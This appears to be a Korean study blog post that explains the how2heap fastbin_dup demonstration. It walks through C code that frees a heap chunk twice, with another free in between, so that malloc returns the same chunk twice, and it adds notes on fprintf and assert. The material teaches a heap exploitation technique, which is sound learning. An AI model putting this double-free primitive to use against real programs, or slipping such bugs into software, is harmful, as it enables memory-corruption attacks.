}

몰랐던 함수들

우선 제대로 알지 못했던 fprintf, assert 함수에 대해서 알아보고 가자.(heap 공부만 하려는 거면 사실 별로 몰라도 되는 내용이긴 하나 그래도 모르는걸 냄겨두고 넘어가기는 찝찝하여 했다.)

  • fprintf(FILE stream, const char format, ...)
    • 특정한 스트림에 일련의 데이터를 특정한 형식에 맞추어 쓰게 된다.
    • 이 때, 그 형식은 형식 문자열에 지정되어 있으며, 출력할 데이터는 형식 문자열 다음에 오는 인자들에 써주면 된다.
    • 위와 같이 fprintf(stderr, const char* format)으로 된 경우 표준에러출력이기 때문에 버퍼를 거치지 않고 그냥 바로 출력 시킨다고 한다.
      • printf()의 경우 버퍼를 거처 출력하기 때문에 에러가 날 경우 제대로 출력이 안될 수 있다.
      • 따라서 디버깅용도의 출력문이다.
  • assert
    • 디버깅 용도의 함수
    • assert함수를 에러가 날 것이라고 예상되는 곳에 위치시켜두고 에러가 발생하면 개발자에게 버그 발생위치, call stack등 디버깅에 유용한 정보들을 마구 뿌려준다.
    • 위 fastbin_dup에서는 Double_Free가 제대로 발생하여 c Heap chunk 포인터가 a Heap chunk 포인터를 가리키게 되었는지 확인하는 용도로 사용되었다.

분석

fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

이 파일은 fastbin을 이용한 간단한 Double_Free 공격을 보여준다.

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

3개의 버퍼를 할당한다.

https://user-images.githubusercontent.com/48816875/105749532-de041d00-5f86-11eb-818b-b7277f18b9aa.png

각각의 버퍼를 할당받은 것을 출력문을 통해 확인할 수 있다.

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

첫번째 버퍼 힙 free

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

만약 여기서 한번 더 a Heap chunk를 해제하면 크래시가 발생한다. 이유는 free list(bin을 가리키는 듯)최상위가 a Heap chunk이기 때문이다. (이유는 드림핵 카테고리 Double_Free에 올려놔서 생략(근데 비공개잖아...? DreamHack가서 보십셔 여러분)

https://user-images.githubusercontent.com/48816875/105750174-bceffc00-5f87-11eb-8295-60e6276830fd.png

실제로 해당 주석을 풀고 실행하면 크래시가 발생한다.

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

그래서 대신에 우리는 b Heap chunk를 먼저 해제해준다.

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

우리는 이제 a Heap chunk를 다시 해제할 수 있다. 이유는 free list의 최상위가 아니기 때문이다.

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    a = malloc(8);
    b = malloc(8);
    c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

https://user-images.githubusercontent.com/48816875/105750444-1bb57580-5f88-11eb-91f6-0410667a2549.png

free list를 보면 a Heap chunk가 두번 해제(Double_Free)된 것을 볼 수 있다.

다시 a,b,c를 malloc으로 할당해주면 우리는 a Heap chunk를 두번 할당 받을 수 있다.

그 이유는 할당을 할 때 bin(free list)에서 같은 사이즈 혹은 비슷한 사이즈의 free된 chunk가 있는지 확인을 한 뒤 있다면 해당 리스트를 따라 할당하기 때문이다.

따라서 bin(free list)에 있는 a heap chunk(0xce6010)가 먼저 a에 할당되고 b heap chunk(0xce6030)가 b에 할당, 다시 a heap chunk(0xce6010)이 c에 할당되게 된다.

+ Recent posts